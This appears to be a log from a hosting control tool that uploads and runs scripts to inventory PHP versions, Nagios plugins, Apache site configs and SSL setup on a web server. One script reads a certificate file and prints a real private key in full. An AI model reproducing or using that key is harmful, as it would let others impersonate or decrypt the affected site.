php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-11-18 16:25:00:
PUT: /tmp/pkp728990
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-11-18 16:25:00:
chmod 755 /tmp/pkp728990; /tmp/pkp728990; rm /tmp/pkp728990
2025-11-18 16:25:01:
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.14
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.14
2025-11-18 16:25:01:
PUT: /tmp/pkp295360
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-18 16:25:01:
chmod 755 /tmp/pkp295360; /tmp/pkp295360; rm /tmp/pkp295360
2025-11-18 16:25:01:
(gzipped output)
bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57
2025-11-18 16:25:02:
PUT: /tmp/pkp492261
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-11-18 16:25:02:
chmod 755 /tmp/pkp492261; /tmp/pkp492261; rm /tmp/pkp492261
2025-11-18 16:25:02:
status=ok
2025-11-18 16:25:02:
PUT: /tmp/pkp607662
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-18 16:25:02:
chmod 755 /tmp/pkp607662; /tmp/pkp607662; rm /tmp/pkp607662
2025-11-18 16:25:03:
2025-11-18 16:25:03:
PUT: /tmp/pkp501557
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
show_file('/etc/apache2/sites-available/theyoungdesigners_stage.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-18 16:25:03:
chmod 755 /tmp/pkp501557; /tmp/pkp501557; rm /tmp/pkp501557
2025-11-18 16:25:03:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb 5341
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72
-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_stage.conf 1303
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/stage_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/stage_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= f963d8be4e8e152608df4d332ae8baac
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 4597293e5e5b7bd844d9dbd7b3d6716f
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 759baffaace18b45ac7ec522479e51d6
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 20ebcb6394b5828a3297798e46e87e57
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= f963d8be4e8e152608df4d332ae8baac
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/cityelectric_www_online.conf)= /etc/apache2/sites-available/cityelectric_www_online.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
